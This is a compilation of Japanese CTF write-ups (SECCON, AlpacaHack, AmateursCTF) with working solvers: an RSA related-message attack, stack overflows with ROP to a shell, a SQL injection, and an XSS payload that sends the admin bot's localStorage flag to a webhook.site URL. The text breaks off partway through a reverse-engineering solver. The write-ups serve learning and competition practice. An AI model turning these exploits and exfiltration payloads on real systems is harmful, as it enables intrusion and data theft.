crypto (reiwa_rot13)

from Crypto.Util.number import *
import codecs
import string
import random
import hashlib
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from flag import flag

p = getStrongPrime(512)
q = getStrongPrime(514)
n = p*q
e = 137

key = ''.join(random.sample(string.ascii_lowercase, 10))
rot13_key = codecs.encode(key, 'rot13')

key = key.encode()
rot13_key = rot13_key.encode()

print("n =", n)
print("e =", e)
print("c1 =", pow(bytes_to_long(key), e, n))
print("c2 =", pow(bytes_to_long(rot13_key), e, n))

key = hashlib.sha256(key).digest()
cipher = AES.new(key, AES.MODE_ECB)
print("encyprted_flag = ", cipher.encrypt(flag))

みるとeが小さい.あとはkeyrot13_keyが同じneで暗号化されています.

調べるとFranklin-Reiter Related Message Attackという攻撃手法が使えそうです.

project-euphoria.dev

上の記事を見るとわかるように,keyrot13_keyの関係を式で表せたら解けそう.(適当

ROT13を式で表してみましょう.

ROT13はa~mまでの13文字であれば,以下のように13足されるだけです.

a (0x61) + 0x0d = n (0x6e)

ではn~zまではどうなるかというと,13引かれるだけです.

n (0x6e) - 0x0d = a (0x61)

ここでkeyは10文字.例えばkeyのすべての文字がa~mだとするならばrot13_keyは以下のように表せます.

key + 0x01010101010101010101 * 0x0d - 0x00000000000000000000 * 0x0d = ror13_key

n~zだけなら以下の通り.

key + 0x00000000000000000000 * 0x0d - 0x01010101010101010101 * 0x0d = ror13_key

実際はkeyはランダムなのでkeyrot13_keyの関係性は,この0x01010101010101010101とかの部分を全通りでやってあげればどこかで当たるはずです.

これをもとにsageでsolverを書きました.

from Crypto.Util.number import *
from Crypto.Util.number import *
import hashlib
from Crypto.Cipher import AES

n = 105270965659728963158005445847489568338624133794432049687688451306125971661031124713900002127418051522303660944175125387034394970179832138699578691141567745433869339567075081508781037210053642143165403433797282755555668756795483577896703080883972479419729546081868838801222887486792028810888791562604036658927
e = 137
c1 = 16725879353360743225730316963034204726319861040005120594887234855326369831320755783193769090051590949825166249781272646922803585636193915974651774390260491016720214140633640783231543045598365485211028668510203305809438787364463227009966174262553328694926283315238194084123468757122106412580182773221207234679
c2 = 54707765286024193032187360617061494734604811486186903189763791054142827180860557148652470696909890077875431762633703093692649645204708548602818564932535214931099060428833400560189627416590019522535730804324469881327808667775412214400027813470331712844449900828912439270590227229668374597433444897899112329233
encyprted_flag = b"\xdb'\x0bL\x0f\xca\x16\xf5\x17>\xad\xfc\xe2\x10$(DVsDS~\xd3v\xe2\x86T\xb1{xL\xe53s\x90\x14\xfd\xe7\xdb\xddf\x1fx\xa3\xfc3\xcb\xb5~\x01\x9c\x91w\xa6\x03\x80&\xdb\x19xu\xedh\xe4"



def gcd(a, b):
    while b:
        a, b = b, a % b
    return a.monic()


a=0
b=0
for i in range(1023):
    a=0
    b=0
    for j in range(10):
        bit=(i>>j)&0b1
        if bit:
            a+=0x01*0x100**j
        else:
            b+=0x01*0x100**j
    # print(hex(a))
    # print(hex(b))
    k=a*0xd-b*0xd
    R.<X> = PolynomialRing(Zmod(n))
    g1 = X^e - c1
    g2 = (X + k)^e-c2

    t=gcd(g1,g2)
    if t.degree()==1:
        r=-t.coefficients()[0]
        key=long_to_bytes(Integer(r))

        key = hashlib.sha256(key).digest()
        cipher = AES.new(key, AES.MODE_ECB)
        print(cipher.decrypt(encyprted_flag))

        break

    # print(t)
# print(long_to_bytes(t))

実行すると6秒くらいで復号できました.

~/seccon24/crypto/reiwa_rot13 7s
❯ sage solver.sage
b'SECCON{Vim_has_a_command_to_do_rot13._g?_is_possible_to_do_so!!}'
SECCON{Vim_has_a_command_to_do_rot13._g?_is_possible_to_do_so!!}

以上

開催ありがとうございました.少ししか解けてないですが楽しかったです.

全分野のwarmupだけは解きたいなと思っていたのですが駄目でした.かなしいね. revのPackerはupxの解凍で動作が変わっていることに途中で気づいたのですが気力が残っていませんでした(言い訳 webのwarmupは,ユーザ名の保存場所が複数あることに気づけませんでした.(言い訳

全然成長できてなくて悲しい.

楽しかったです.ありがとうございました!

AlpacaHack Round 1 (Pwn) の Writeup

AlpacaHack Round 1 (Pwn)

alpacahack.com

22位だった

新しいCTFプラットフォームの記念すべき第一回目.

今回はpwnだけの出題だった.

たのしかったです.

echo

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x100

/* Call this function! */
void win() {
  char *args[] = {"/bin/cat", "/flag.txt", NULL};
  execve(args[0], args, NULL);
  exit(1);
}

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}

void get_data(char *buf, unsigned size) {
  unsigned i;
  char c;

  // Input data until newline
  for (i = 0; i < size; i++) {
    if (fread(&c, 1, 1, stdin) != 1) break;
    if (c == '\n') break;
    buf[i] = c;
  }
  buf[i] = '\0';
}

void echo() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data: ");
  get_data(buf, size);

  // Show data
  printf("Received: %s\n", buf);
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  echo();
  return 0;
}

alpacahack.com

checksec

~/alpacahack/1/echo
❯ checksec echo 
[*] '/home/trimscash/alpacahack/1/echo/echo'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

セキュリティ機構はほぼない.

ソースコードを見るとわかるように,bufの長さは固定だが,bufに入力するバイト数はユーザーが指定できるのでバッファオーバーフローがありそう.

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}

get_sizeは以上のように定義されており,sizeに対してバリデートされてる.

absについて調べてみると

int バージョンの abs() の場合、使用できる最小の整数は INT_MIN+1 です。 (INT_MIN は、limits.h ヘッダー・ファイルに定義されているマクロです。) 例えば、z/OS® XL C/C++ コンパイラーの場合、INT_MIN+1 は -2147483648 です。 abs()、absf()、absl() - 整数絶対値の計算

とあるので,とりあえずINT_MINを入力してみる.すると,バリデーションを通過しBUF_SIZEの0x100よりも多く入力することができた.

あとは,NoCanary,NoPIEなのでリターンアドレスにwin関数のアドレスを入れるだけでいい.

from pwn import *

binary_name = "./echo"
remote_name = "34.170.146.252"
remote_port = 17360
io = remote(remote_name, remote_port)
# io = process(binary_name)
# io = gdb.debug(binary_name, "b main\nc\n")

elf = ELF("echo")

INT_MIN = -2147483648

io.sendlineafter(b"Size: ", str(INT_MIN).encode())

BUF_SIZE = 0x100

win = elf.symbols["win"]
payload = b"A" * BUF_SIZE + b"b" * 24 + p64(win)

io.sendlineafter(b"Data: ", payload)

io.interactive()

実行するとフラグが得られた

hexecho

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x100

int get_size() {
  int size = 0;
  scanf("%d%*c", &size);
  return size;
}

void get_hex(char *buf, unsigned size) {
  for (unsigned i = 0; i < size; i++)
    scanf("%02hhx", buf + i);
}

void hexecho() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data (hex): ");
  get_hex(buf, size);

  // Show data
  printf("Received: ");
  for (int i = 0; i < size; i++)
    printf("%02hhx ", (unsigned char)buf[i]);
  putchar('\n');
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  hexecho();
  return 0;
}

alpacahack.com

checksec

~/alpacahack/1/hexecho
❯ checksec hexecho 
[*] '/home/trimscash/alpacahack/1/hexecho/hexecho'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

cannaryが追加された.また配布ファイルにlibc.so.6がある.

入力は,16進数で入力するようになった.

get_sizeを見てみると,sizeに制限はない.のでバッファオーバーフローがある.がcanaryと呼ばれるセキュリティ機構が有効になっているために単純には解けない.

miso-24.hatenablog.com

get_hexに何かあるのだろう.見てみると以下のようになっている.

void get_hex(char *buf, unsigned size) {
  for (unsigned i = 0; i < size; i++)
    scanf("%02hhx", buf + i);
}

特に問題はなさそうだが,ここでg~xなどの16進数の値として無効な文字を入力したらどうなるだろうか.

~/alpacahack/1/hexecho
❯ ./hexecho
Size: 10
Data (hex): x
Received: 00 80 16 00 00 00 00 00 0c 00 

するとどうだろうか.それ以降の入力が受け付けられず,bufの初期値が見れている.これを利用すればlibcのbaseアドレスやcanaryがリークできる.

しかし入力はできないので,どうしようもない.

なぜこうなるのだろうか.それは多分,xなどの無効な文字を入力したとき,scanfは入力バッファを消費せずに失敗するからだろう.(適当) get_hexではscanfによる読み取りが成功したかどうかの判定がないために,失敗してもループが回ってしまう.これにより,無効な文字以降の入力が受け付けられず初期値を見ることができる.

では,入力バッファを消費しscanfを失敗させることはできるだろうか.

適当にそれっぽい文字を使って検証してみると..-を使ったときにそれが実現できた.

~/alpacahack/1/hexecho 11s
❯ ./hexecho           
Size: 10
Data (hex): -
-
-
a
a
a
-
-
-
-
Received: 00 80 16 0a 0a 0a 00 00 0c 00 

これを使うと,特定の場所は初期値のままにしておきながら,好きな場所に入力をすることができる.

これでいける.

手順としては以下の通り.

  • libcのリークをする.
  • mainに戻りもう一度入力できるようにする.
  • libcを使ってROPする

ROPとはretアドレスに、ある命令とret命令がセットになった,ROP Gadgetと呼ばれるコード片のアドレスをセットし,リターンを繰り返し任意のコードを実行する手法. 調べたら多分出てくるので詳しくは任せる.

book.hacktricks.xyz

以下適当に書いたきたないsolverをそのまま載せる

from pwn import *

binary_name = "./hexecho"
remote_name = "34.170.146.252"
remote_port = 51786
io = remote(remote_name, remote_port)
# io = process(binary_name)
# io = gdb.debug(binary_name, "b main\nc\n")
LIBC = ELF("./libc.so.6")


def addr_to_hexs(addr):
    payload_bytes = []
    for i in range(8):
        hex_str = "0" * (16 - len(hex(addr)[2:])) + hex(addr)[2:]
        payload_bytes.append(hex_str[i * 2 : i * 2 + 2])
    return payload_bytes[::-1]


def addr_to_hexs_bytes(addr):
    payload_bytes = []
    for i in range(8):
        hex_str = "0" * (16 - len(hex(addr)[2:])) + hex(addr)[2:]
        payload_bytes.append(hex_str[i * 2 : i * 2 + 2])
    return "".join(payload_bytes[::-1]).encode()


def hexs_str_to_addr(hexs):
    s = hexs.decode().split()[::-1]
    bs = ""
    for i in s:
        bs += i
    print(bs)
    return p64(int(bs, 16))


INT_MAX = 2147483647
BUF_SIZE = 0x100


io.sendlineafter(b"Size: ", str(BUF_SIZE + 0x30).encode())

main = 0x401327
print(addr_to_hexs(main))
payload = b"-\n" * (BUF_SIZE + 0x18) + addr_to_hexs_bytes(main) + b"x"

io.sendlineafter(b"Data (hex): ", payload)
t = io.readline()
print(t)
canary_offset = 0x28 * 0x3
canary = hexs_str_to_addr(t[-(canary_offset + 1) : -(canary_offset + 1) + 0x8 * 3])
libc_start_main_offset = 0x8 * 0x3
libc_start_main = hexs_str_to_addr(
    t[-(libc_start_main_offset + 1) : -(libc_start_main_offset + 1) + 0x8 * 3]
)

libc_setbuffer_offset = 0x8 * 0x9 * 0x3
libc_setbuffer = hexs_str_to_addr(
    t[-(libc_setbuffer_offset + 1) : -(libc_setbuffer_offset + 1) + 0x8 * 3]
)  # 1e:00f0│     0x7fffffffd028 —▸ 0x7ffff7e1357f (setbuffer+191) ◂— test dword ptr [rbx], 0x8000

print(canary)
print(libc_start_main)
print(libc_setbuffer)

libc_leak = u64(libc_setbuffer) - LIBC.symbols["setbuffer"] - 191
system = libc_leak + LIBC.symbols["system"]
pop_rdi = libc_leak + 0x1B9695  # pop rdi; ret;
bin_sh = libc_leak + 0x001D8678
ret = 0x401370

print(hex(libc_leak))

io.sendlineafter(b"Size: ", str(BUF_SIZE + 0x40).encode())

payload = b"-\n" * (BUF_SIZE + 0x18)
payload += addr_to_hexs_bytes((ret))
payload += addr_to_hexs_bytes((pop_rdi))
payload += addr_to_hexs_bytes((bin_sh))
payload += addr_to_hexs_bytes((system))
payload += b"x"


io.sendlineafter(b"Data (hex): ", payload)
t = io.readline()

io.interactive()

  • 補足

libcのアドレスは,gdbデバッグしてスタック確認し,そのアドレスを出力からリークして使おう. その際,問題の実行ファイルが使うライブラリを変更してデバッグする.以下のサイトを見るといい.

zenn.dev

zenn.dev

rop gadgetの探し方はいろいろあって以下のツールを使ったり,radare2とかを使うとよい. github.com

以上

久しぶりにCTFに参加した気がする.

次の問題のdeckで詰まった.悲しい.力が不足しているので精進します.

alpacahackはatcoderのCTF版みたいなものだと思うので,これによりこの先人口が増えればいいなと思いました.作ってくれてありがとう!つよつよ方..!

alpacahack.com

AmateursCTF 2024のやつ

AmateursCTF 2024

一人さびしく参加して66位でした.楽しかったです.

denied [web]

const express = require('express')
const app = express()
const port = 3000

app.get('/', (req, res) => {
  if (req.method == "GET") return res.send("Bad!");
  res.cookie('flag', process.env.FLAG ?? "flag{fake_flag}")
  res.send('Winner!')
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

GETのメソッド以外でアクセスできればフラグがもらえる.

メソッドについて調べていたらHEADメソッドが見つかった.

developer.mozilla.org

HEADでアクセスするとフラグがもらえた.

curl -X "HEAD" http://denied.amt.rs/ -v 
amateursCTF{s0_m@ny_0ptions...}

one-shot [web]

from flask import Flask, request, make_response
import sqlite3
import os
import re

app = Flask(__name__)
db = sqlite3.connect(":memory:", check_same_thread=False)
flag = open("flag.txt").read()

@app.route("/")
def home():
    return """
    <h1>You have one shot.</h1>
    <form action="/new_session" method="POST"><input type="submit" value="New Session"></form>
    """

@app.route("/new_session", methods=["POST"])
def new_session():
    id = os.urandom(8).hex()
    db.execute(f"CREATE TABLE table_{id} (password TEXT, searched INTEGER)")
    db.execute(f"INSERT INTO table_{id} VALUES ('{os.urandom(16).hex()}', 0)")
    res = make_response(f"""
    <h2>Fragments scattered... Maybe a search will help?</h2>
    <form action="/search" method="POST">
        <input type="hidden" name="id" value="{id}">
        <input type="text" name="query" value="">
        <input type="submit" value="Find">
    </form>
""")
    res.status = 201

    return res

@app.route("/search", methods=["POST"])
def search():
    id = request.form["id"]
    if not re.match("[1234567890abcdef]{16}", id):
        return "invalid id"
    searched = db.execute(f"SELECT searched FROM table_{id}").fetchone()[0]
    if searched:
        return "you've used your shot."
    
    db.execute(f"UPDATE table_{id} SET searched = 1")

    query = db.execute(f"SELECT password FROM table_{id} WHERE password LIKE '%{request.form['query']}%'")
    return f"""
    <h2>Your results:</h2>
    <ul>
    {"".join([f"<li>{row[0][0] + '*' * (len(row[0]) - 1)}</li>" for row in query.fetchall()])}
    </ul>
    <h3>Ready to make your guess?</h3>
    <form action="/guess" method="POST">
        <input type="hidden" name="id" value="{id}">
        <input type="text" name="password" placehoder="Password">
        <input type="submit" value="Guess">
    </form>
"""

@app.route("/guess", methods=["POST"])
def guess():
    id = request.form["id"]
    if not re.match("[1234567890abcdef]{16}", id):
        return "invalid id"
    result = db.execute(f"SELECT password FROM table_{id} WHERE password = ?", (request.form['password'],)).fetchone()
    if result != None:
        return flag
    
    db.execute(f"DROP TABLE table_{id}")
    return "You failed. <a href='/'>Go back</a>"

@app.errorhandler(500)
def ise(error):
    original = getattr(error, "original_exception", None)
    if type(original) == sqlite3.OperationalError and "no such table" in repr(original):
        return "that table is gone. <a href='/'>Go back</a>"
    return "Internal server error"

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)

入力に対してのバリデーションは以下のように行っている.

    if not re.match("[1234567890abcdef]{16}", id):
        return "invalid id"

これだと,マッチする文字列の後ろに,任意の文字列を追加したものもマッチする.

>>> not re.match("[1234567890abcdef]{16}","1234567890abcdef")
False
>>> not re.match("[1234567890abcdef]{16}","1234567890abcdef or")
False

これを用いてIDの後にSQL injectionのペイロードを渡すとフラグがもらえるはずだ.

solver.py

import requests
import re

url = "http://one-shot.amt.rs/"

res = requests.post(url + "new_session")
# print(res.text)
m = re.search("[1234567890abcdef]{16}", res.text)

id = m.group(0)
print(id)

payload = id + " WHERE 1 = 1 OR password = ? --"

print(payload)

res = requests.post(url + "guess", data={"id": payload, "password": ""})

print(res.text)

実行したらフラグが得られた.

❯ python3 solver.py
95fce9b1ad95f09f
95fce9b1ad95f09f WHERE 1 = 1 OR password = ? --
<p>amateursCTF{go_union_select_a_life}</p>
<br />
<h3>alternative flags (these won't work) (also do not share):</h3>
<p>
amateursCTF{UNION_SELECT_life_FROM_grass} <br /> 
amateursCTF{why_are_you_endorsing_unions_big_corporations_are_better} <br />
amateursCTF{union_more_like_onion_*cronch*}  <br />
amateursCTF{who_is_this_Niko_everyone_is_talking_about}
</p>
amateursCTF{go_union_select_a_life}

agile-rut [web]

ページのソースを見ると以下の通り.

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>agile rut playground</title>
    <style>
        @font-face {
            font-family: 'Agile Rut';
            src: url('agile-rut.otf');
        }
        * {
            font-family: 'Agile Rut';
        }
        textarea {
            font-size: 24px;
        }
    </style>
</head>

<body>
    <h1>Agile Rut</h1>
    <p>Check out my new font!! isn't it so cool!</p>
    <textarea cols="100" rows="100"></textarea>
</body>

</html>

静的なサイトで,あるフォントのテストページのよう.

フォントをダウンロードしてみてみる.フォント系の問題は大概,リガチャ.

webって感じはしない.

fontforgeで見てみるか,fonttoolsを使う. fontforgeGUIで使いにくかったので,fonttoolsを使った.

hackmd.io

pip install fonttools
ttx agile-rut.otf 

実行すると,agile-rut.ttxというファイルが出力される.

出力されたファイルを見ていると

            <Ligature components="m,a,t,e,u,r,s,c,t,f,braceleft,zero,k,underscore,b,u,t,underscore,one,underscore,d,o,n,t,underscore,l,i,k,e,underscore,t,h,e,underscore,j,b,m,o,n,zero,underscore,equal,equal,equal,braceright" glyph="lig.j.u.s.t.a.n.a.m.e.o.k.xxxxxxxxx.xxxx.x.xxxxxxxxxx.x.x.x.xxxxxxxxxx.xxx.xxxxxxxxxx.x.x.x.x.xxxxxxxxxx.x.x.x.x.xxxxxxxxxx.x.x.x.xxxxxxxxxx.x.x.x.x.x.xxxx.xxxxxxxxxx.xxxxx.xxxxx.xxxxx.xxxxxxxxxx"/>

フラグっぽい

m,a,t,e,u,r,s,c,t,f,braceleft,zero,k,underscore,b,u,t,underscore,one,underscore,d,o,n,t,underscore,l,i,k,e,underscore,t,h,e,underscore,j,b,m,o,n,zero,underscore,equal,equal,equal,braceright

やる.根性か,スクリプトか.chatGPTにやらせた.

フラグのリガチャはかわいい笑顔

amateursctf{0k_but_1_dont_like_the_jbmon0_===}

sculpture [web]

index.html

<html> 
<head> 
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.0/jquery.min.js" type="text/javascript"></script> 
<script src="https://skulpt.org/js/skulpt.min.js" type="text/javascript"></script> 
<script src="https://skulpt.org/js/skulpt-stdlib.js" type="text/javascript"></script> 

</head> 

<body> 

<script type="text/javascript"> 
// output functions are configurable.  This one just appends some text
// to a pre element.
function outf(text) { 
    var mypre = document.getElementById("output"); 
    mypre.innerHTML = mypre.innerHTML + text; 
} 
function builtinRead(x) {
    if (Sk.builtinFiles === undefined || Sk.builtinFiles["files"][x] === undefined)
            throw "File not found: '" + x + "'";
    return Sk.builtinFiles["files"][x];
}

// Here's everything you need to run a python program in skulpt
// grab the code from your textarea
// get a reference to your pre element for output
// configure the output function
// call Sk.importMainWithBody()
function runit() { 
   var prog = document.getElementById("yourcode").value; 
   var mypre = document.getElementById("output"); 
   mypre.innerHTML = ''; 
   Sk.pre = "output";
   Sk.configure({output:outf, read:builtinRead}); 
   (Sk.TurtleGraphics || (Sk.TurtleGraphics = {})).target = 'mycanvas';
   var myPromise = Sk.misceval.asyncToPromise(function() {
       return Sk.importMainWithBody("<stdin>", false, prog, true);
   });
   myPromise.then(function(mod) {
       console.log('success');
   },
       function(err) {
       console.log(err.toString());
   });
}

document.addEventListener("DOMContentLoaded",function(ev){
    document.getElementById("yourcode").value = atob((new URLSearchParams(location.search)).get("code"));
    runit();
});

</script> 

<h3>Try This</h3> 
<form> 
<textarea id="yourcode" cols="40" rows="10">import turtle

t = turtle.Turtle()
t.forward(100)

print("Hello World")
</textarea><br /> 
<button type="button" onclick="runit()">Run</button> 
</form> 
<pre id="output" ></pre> 
<!-- If you want turtle graphics include a canvas -->
<div id="mycanvas"></div> 

</body> 

</html> 

admin-bot-excerpt.js

// bot powered by the redpwn admin bot ofc
['sculpture', {
    name: 'sculpture',
    timeout: 10000,
    handler: async (url, ctx) => {
      const page = await ctx.newPage()
      console.log(await page.browser().version());
      await page.goto("https://amateurs-ctf-2024-sculpture-challenge.pages.dev/", { timeout: 3000, waitUntil: 'domcontentloaded' })
      await sleep(1000);
      await page.evaluate(() => {
        localStorage.setItem("flag", "amateursCTF{fak3_flag}")
      })
      await sleep(1000);
      console.log("going to " + url)
      await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' })
      await sleep(1000)
    },
    urlRegex: /^https:\/\/amateurs-ctf-2024-sculpture-challenge\.pages\.dev/,
}]

Adminに,XSSが生じるペイロードでページにアクセスしてもらい,adminのlocalStorageの値を取得する問題.

index.htmlを見てみると,skulptという,クライアント側でpythonを実行できるスクリプトが読み込まれている.

skulpt.org

<script src="https://skulpt.org/js/skulpt.min.js" type="text/javascript"></script> 
<script src="https://skulpt.org/js/skulpt-stdlib.js" type="text/javascript"></script> 

pythonプログラムのアウトプットは以下のように出力される.

   Sk.configure({output:outf, read:builtinRead}); 
function outf(text) { 
    var mypre = document.getElementById("output"); 
    mypre.innerHTML = mypre.innerHTML + text; 
} 

outputをそのままinnerHTMLに入れているのでXSSが発生する.

さらに,codeパラメータにbase64エンコードされたコードがセットされている場合,以下の場所で,アクセスした時点でコードが実行される.

document.addEventListener("DOMContentLoaded",function(ev){
    document.getElementById("yourcode").value = atob((new URLSearchParams(location.search)).get("code"));
    runit();
});

特に制約はないので,webhooksiteとかにlocalstorageを投げるXSSするだけ.

以下payload.py

print("<h1>a</h1>")
code = """
let flag = localStorage.getItem("flag");
fetch("https://webhook.site/~~~~~~~/?flag="+flag).then((res)=>{res.text()}).then((t)=>{console.log(t)})
"""
print("<img src=x onerror='" + code + "'>")

solver.py

import requests
import urllib.parse
import base64

url = "https://amateurs-ctf-2024-sculpture-challenge.pages.dev/"
f = open("payload.py")
pycode = f.read()
b = base64.b64encode(pycode.encode())

payload = url + "?code=" + urllib.parse.quote(b.decode())

print(payload)

admin_url = "http://admin-bot.amt.rs/sculpture"
res = requests.post(admin_url, data={"url": payload})
print(res.text)

実行するとフラグがもらえた.

amateursCTF{i_l0v3_wh3n_y0u_can_imp0rt_xss_v3ct0r}

typo [rev]

main.py

import random as RrRrRrrrRrRRrrRRrRRrrRr
RrRrRrrrRrRRrrRRrRRrRrr = int('1665663c', 20)
RrRrRrrrRrRRrrRRrRRrrRr.seed(RrRrRrrrRrRRrrRRrRRrRrr)
arRRrrRRrRRrRRRrRrRRrRr = bytearray(open('flag.txt', 'rb').read())
arRRrrRrrRRrRRRrRrRRrRr = '\r'r'\r''r''\\r'r'\\r\r'r'r''r''\\r'r'r\r'r'r\\r''r'r'r''r''\\r'r'\\r\r'r'r''r''\\r'r'rr\r''\r''r''r\\'r'\r''\r''r\\\r'r'r\r''\rr'
arRRrrRRrRRrRrRrRrRRrRr = [
    b'arRRrrRRrRRrRRrRr',
    b'aRrRrrRRrRr',
    b'arRRrrRRrRRrRr',
    b'arRRrRrRRrRr',
    b'arRRrRRrRrrRRrRR'
    b'arRRrrRRrRRRrRRrRr',
    b'arRRrrRRrRRRrRr',
    b'arRRrrRRrRRRrRr'
    b'arRrRrRrRRRrrRrrrR',
]
arRRRrRRrRRrRRRrRrRRrRr = lambda aRrRrRrrrRrRRrrRRrRrrRr: bytearray([arRrrrRRrRRrRRRrRrRrrRr + 1 for arRrrrRRrRRrRRRrRrRrrRr in aRrRrRrrrRrRRrrRRrRrrRr])
arRRrrRRrRRrRRRrRrRrrRr = lambda aRrRrRrrrRrRRrrRRrRrrRr: bytearray([arRrrrRRrRRrRRRrRrRrrRr - 1 for arRrrrRRrRRrRRRrRrRrrRr in aRrRrRrrrRrRRrrRRrRrrRr])
def arRRrrRRrRRrRrRRrRrrRrRr(hex):
    for id in range(0, len(hex) - 1, 2):
        hex[id], hex[id + 1] = hex[id + 1], hex[id]
    for list in range(1, len(hex) - 1, 2):
        hex[list], hex[list + 1] = hex[list + 1], hex[list]
    return hex
arRRRRRRrRRrRRRrRrRrrRr = [arRRrrRRrRRrRrRRrRrrRrRr, arRRRrRRrRRrRRRrRrRRrRr, arRRrrRRrRRrRRRrRrRrrRr]
arRRRRRRrRRrRRRrRrRrrRr = [RrRrRrrrRrRRrrRRrRRrrRr.choice(arRRRRRRrRRrRRRrRrRrrRr) for arRrrrRRrRRrRRRrRrRrrRr in range(128)]
def RrRrRrrrRrRRrrRRrRRrrRr(arr, ar):
    for r in ar:
        arr = arRRRRRRrRRrRRRrRrRrrRr[r](arr)
    return arr
def arRRrrRRrRRrRrRRrRrrRrRr(arr, ar):
    ar = int(ar.hex(), 17)
    for r in arr:
        ar += int(r, 35)
    return bytes.fromhex(hex(ar)[2:])
arrRRrrrrRRrRRRrRrRRRRr = RrRrRrrrRrRRrrRRrRRrrRr(arRRrrRRrRRrRRRrRrRRrRr, arRRrrRrrRRrRRRrRrRRrRr.encode())
arrRRrrrrRRrRRRrRrRRRRr = arRRrrRRrRRrRrRRrRrrRrRr(arRRrrRRrRRrRrRrRrRRrRr, arrRRrrrrRRrRRRrRrRRRRr)
print(arrRRrrrrRRrRRRrRrRRRRr.hex())

output.txt

5915f8ba06db0a50aa2f3eee4baef82e70be1a9ac80cb59e5b9cb15a15a7f7246604a5e456ad5324167411480f893f97e3

タイポどころではない..

とりあえず脳筋ごり押しで,変数名等を置換していった.

import random as random

seed = int("1665663c", 20)
random.seed(seed)
flag = bytearray(open("flag.txt", "rb").read())
regex_ = (
    "\r"
    r"\r"
    "r"
    "\\r"
    r"\\r\r"
    r"r"
    "r"
    "\\r"
    r"r\r"
    r"r\\r"
    "r"
    r"r"
    "r"
    "\\r"
    r"\\r\r"
    r"r"
    "r"
    "\\r"
    r"rr\r"
    "\r"
    "r"
    "r\\"
    r"\r"
    "\r"
    "r\\\r"
    r"r\r"
    "\rr"
)
bytes_table = [
    b"arRRrrRRrRRrRRrRr",
    b"aRrRrrRRrRr",
    b"arRRrrRRrRRrRr",
    b"arRRrRrRRrRr",
    b"arRRrRRrRrrRRrRR" b"arRRrrRRrRRRrRRrRr",
    b"arRRrrRRrRRRrRr",
    b"arRRrrRRrRRRrRr" b"arRrRrRrRRRrrRrrrR",
]
plus_one = lambda x: bytearray([i + 1 for i in x])
minus_one = lambda x: bytearray([i - 1 for i in x])


def exchange_nibble(hex):
    for id in range(0, len(hex) - 1, 2):
        hex[id], hex[id + 1] = hex[id + 1], hex[id]
    for list in range(1, len(hex) - 1, 2):
        hex[list], hex[list + 1] = hex[list + 1], hex[list]
    return hex


func_table = [
    exchange_nibble,
    plus_one,
    minus_one,
]
func_table = [random.choice(func_table) for i in range(128)]


def random_actions(arr, ar):
    for r in ar:
        arr = func_table[r](arr)
    return arr


def crypto(arr, ar):
    ar = int(ar.hex(), 17)
    for r in arr:
        ar += int(r, 35)
    return bytes.fromhex(hex(ar)[2:])


c = random_actions(flag, regex_.encode())
c = crypto(bytes_table, c)
print(c.hex())

print(regex_.encode())

あとはこの逆の手順で復号するプログラムを書く.

import random as random

seed = int("1665663c", 20)
random.seed(seed)
regex_ = (
    "\r"
    r"\r"
    "r"
    "\\r"
    r"\\r\r"
    r"r"
    "r"
    "\\r"
    r"r\r"
    r"r\\r"
    "r"
    r"r"
    "r"
    "\\r"
    r"\\r\r"
    r"r"
    "r"
    "\\r"
    r"rr\r"
    "\r"
    "r"
    "r\\"
    r"\r"
    "\r"
    "r\\\r"
    r"r\r"
    "\rr"
)
bytes_table = [
    b"arRRrrRRrRRrRRrRr",
    b"aRrRrrRRrRr",
    b"arRRrrRRrRRrRr",
    b"arRRrRrRRrRr",
    b"arRRrRRrRrrRRrRR" b"arRRrrRRrRRRrRRrRr",
    b"arRRrrRRrRRRrRr",
    b"arRRrrRRrRRRrRr" b"arRrRrRrRRRrrRrrrR",
]
plus_one = lambda x: bytearray([i + 1 for i in x])
minus_one = lambda x: bytearray([i - 1 for i in x])


def exchange_nibble(hex):
    for id in range(0, len(hex) - 1, 2):
        hex[id], hex[id + 1] = hex[id + 1], hex[id]
    for list in range(1, len(hex) - 1, 2):
        hex[list], hex[list + 1] = hex[list + 1], hex[list]
    return hex


func_table = [
    exchange_nibble,
    plus_one,
    minus_one,
]
# func_table = [random.choice(func_table) for i in range(128)]


def random_actions(arr, ar):
    for r in ar:
        arr = func_table[r](arr)
    return arr


def crypto(arr, ar):
    ar = int(ar.hex(), 17)
    for r in arr:
        ar += int(r, 35)
    return bytes.fromhex(hex(ar)[2:])


choosen = [0, 1, 2]

choosen = [random.choice(choosen) for i in range(128)]


def exchange_nibble_rev(hex):
    for list in range(1, len(hex) - 1, 2):
        hex[list], hex[list + 1] = hex[list + 1], hex[list]
    for id in range(0, len(hex) - 1, 2):
        hex[id], hex[id + 1] = hex[id + 1], hex[id]
    return hex


rev_func_table = [
    exchange_nibble_rev,
    minus_one,
    plus_one,
]

rev_func_table = [rev_func_table[i] for i in choosen]


def random_actions_rev(arr, key):
    for r in key[::-1]:
        arr = rev_func_table[r](arr)
    return arr


def to_base_n(number, base):
    # 基数が10より大きい場合、17進数用にaからgの文字列を使います
    digits = "0123456789abcdefghijklmnopq"
    result = ""

    while number > 0:
        # 17で割り、商と余りを求める
